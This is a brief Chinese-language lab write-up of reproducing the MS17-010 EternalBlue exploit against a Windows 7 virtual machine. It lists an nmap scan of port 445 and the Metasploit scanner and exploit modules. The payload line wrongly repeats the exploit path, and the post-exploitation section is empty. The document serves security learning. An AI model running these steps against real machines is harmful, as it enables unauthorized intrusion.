我们将使用以下工具对此进行演示
- 厉害的Linux
- win7
- VMware或VirtualBox（虚拟环境）
注意：此实验仅用于教育目的，任何非法活动概不负责。
测试目的：
通过实施针对性的渗透测试，发现win7系统的安全漏洞，复现ms17-010，熟悉渗透测试流程。
测试范围：
本次测试的范围详细如下：
| 系统名称 | 未知 |
| 测试时间 | 2020.10.24 |
| 测试工具 | kali linux |
| 说明 | 本次渗透测试过程中使用网络环境为私有内网 |
数据来源：
通过漏洞扫描和手动分析获取相关数据。
全网搜索445端口
nmap -p 445 192.168.31.0/24
搜索ms17-010
auxiliary模块 检查漏洞：
use 1 或者use auxiliary/scanner/smb/smb_ms17_010
发现漏洞存在
渗透利用：
搜索ms17-010 ：search ms17-010
使用exploit永恒之蓝设置参数： use 2 或exploit／windows／smb／ms17-010_eternalblue
设置攻击负载：set payload 2 或者 set payload exploit／windows／smb／ms17-010_eternalblue
攻击成功：
后渗透：
